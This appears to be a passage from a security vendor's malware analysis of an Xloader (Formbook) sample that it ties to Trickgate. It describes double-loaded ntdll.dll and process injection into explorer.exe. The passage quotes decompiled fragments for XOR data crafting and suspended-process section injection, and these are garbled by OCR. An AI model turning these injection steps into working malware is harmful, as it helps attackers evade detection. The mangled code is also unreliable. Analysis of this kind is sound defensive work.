CopyBytes(&XLNG_data[13], *_7_1_constant, 4);
XLNG_data[13] ~= @x27u;
" data[14] ~= @x27u;
data[15] *= @x27u;
ta[16] "= @x27u;
dwXLNG_data_len = Strien(XLNG_data);
CopyBytes(pCollectedInfo, XL ta
Appendstr({pCollectedl nfo, sz
14 = dwXLNG_data_len + dwB6 ydedUs:
j_Rca(pCollectedInfo, dwXLNG_data_len + dwB6
Base64DecodeEncode(&v3->pkt2 data[5], pCollectedInfo, wvl4);
3-»pkt2_data_len = Strien(v3->pkt2_data);

Crafting E{I;‘i data

ameAndUserName, @);

iterNamelen;

icodedUserComputerlamelen, pRcdk '-_:l,'

Double references to ntdll.dll

The Baglai Vlad blog also calls out Xloader as utilizing a second copy of ntd11.d11 for
resolving hashes and evading detection. This aligned with our observation of the second
loading of ntd11.d11 inside of our svchost process, as there are few legitimate reasons for
two copies to be loaded.

=7 svchost.exe (8452) Properties

General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment

Name Base address Size Description

svchost.exe Oxeal000 52 kB Host Process for Windows Services
ntdll.dll 0x76eb0000 1.64 MB NT Layer DLL

ntdll.dll 0x7ffaf9650000 1.97 MB NT Layer DLL

Process injection

The Baglai Vlad blog also called out Xloader as utilizing process injection specifically into
explorer.exe, after first injecting into another process. This aligned with our observation of

injection into svchost.exe, followed by netsh.exe and activity inside of explorer.exe.
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Eventually, this stage will launch explorer.exe process in suspended state

and inject itself into it by creating new section inside spawned process:

wcscpy(vid, L"explorer.exe™);
lwImageBa Ir = SpawnNewProcessSuspended(| Fig, ws ileName, vi4, @);
if ( dwl ddr )
{
iwImageBaseAddr = Call_FileOperation_ @ Encrypted(pConfig, wszDosFileName, MAP_IMAGE, @);
if ( I BaseAddr )
{
CreateSuspendedProcessAndGetImageBaseAddr fig, i 5 vi2, &l 55, R iddr) 3
15ize[@] = GetSizeOfImage(dwImageBaseAddr);
Call_NtReadVirtualMemory Api( nfig, .hProcess, | idr[e], I [ eAddr, ze[@], ©);
3 = 8;
no= 8

if ( !CreateSectionInsideProcess(

Due to these and other similarities covered within the blogs, we were fairly confident that we
were looking at a similar sample.

Final thoughts

We believe with moderate confidence that the initial AutolT and shellcode components are
related to Trickgate. Trickgate has been documented specifically deploying Xloader
(Formbook) and utilizing techniques with high similarity to the initial AutolT component of our
sample.

If you're interested in checking out Sublime and how we detect and prevent attempts to
deliver malware via email originating attacks, you can create a free account today or_request
ademo.
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